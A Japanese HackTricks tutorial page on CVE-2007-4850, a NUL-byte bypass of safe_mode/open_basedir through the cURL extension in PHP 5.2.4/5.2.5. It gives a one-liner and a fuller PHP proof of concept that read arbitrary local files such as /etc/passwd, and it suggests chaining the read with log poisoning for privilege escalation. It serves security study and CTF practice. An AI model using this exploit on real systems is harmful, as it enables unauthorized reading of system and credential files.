PHP 5.2.4 と 5.2.5 の PHP cURL
Reading time: 6 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
このページは、特定の PHP 5.2.x ビルドで cURL 拡張を使用して PHP safe_mode/open_basedir チェックをバイパスする、レガシーだが CTFs やローカルのレガシーインストールで依然有用なトリックを記載しています。
- 影響範囲: PHP 5.2.4 と 5.2.5(ext/curl 有効)。
- 影響: safe_mode や open_basedir 制限にもかかわらず任意のローカルファイルを読み取れる(直接のコード実行は不可)。
- ID: CVE-2007-4850.
出典: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
One-liner PoC
safe_mode または open_basedir が有効で cURL が有効化されている場合、以下は現在のスクリプトの内容を返します:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
より明確なPoC (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
注意事項:
- 実際の NUL バイトを注入するには、ダブルクォートまたは chr(0) を使用してください。Percent-encoding (%00) は確実には動作しません。
- これはファイル読み取りプリミティブです。可能な場合は、他のプリミティブ(log poisoning、session file inclusion など)と組み合わせてさらに権限昇格を図ってください。
なぜこれが機能するか(概要)
脆弱性は、PHP 5.2.4/5.2.5 が ext/curl 内で file:// URL に対して safe_mode/open_basedir チェックを行う方法にあります。チェック処理は URL を解析してパス成分を検証しましたが、NUL バイトの扱いにより、実際に libcurl が使用する文字列とは異なる文字列が検証されていました。実際には、バリデータは NUL の後のパスを許可できる一方で、libcurl は NUL より前の部分を URL コンテナとして使用しており、NUL バイトの後に配置されたファイルを読み取ることを可能にするバイパスが発生します。詳細はオリジナルの解析と curl/interface.c の影響を受けるマクロを参照してください。[CVE-2007-4850]
制約と修正
- ext/curl の解析/検証を修正することで、後続の 5.2.x(例: ディストリビューションで 5.2.6 にパッチされたビルド)で修正されています。
- 非常に古い PHP 展開にのみ影響します。safe_mode は PHP 5.4 で削除されており、現代のビルドではこの挙動は発生しません。
関連
他の disable_functions/open_basedir バイパスや最新の手法はここにまとめられています:
参考
- Ubuntu の CVE エントリ(パッチ参照と影響を受けるバージョン): https://ubuntu.com/security/CVE-2007-4850
- コードコンテキストを含む技術的解説(cxsecurity): http://cxsecurity.com/issue/WLB-2008010060
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks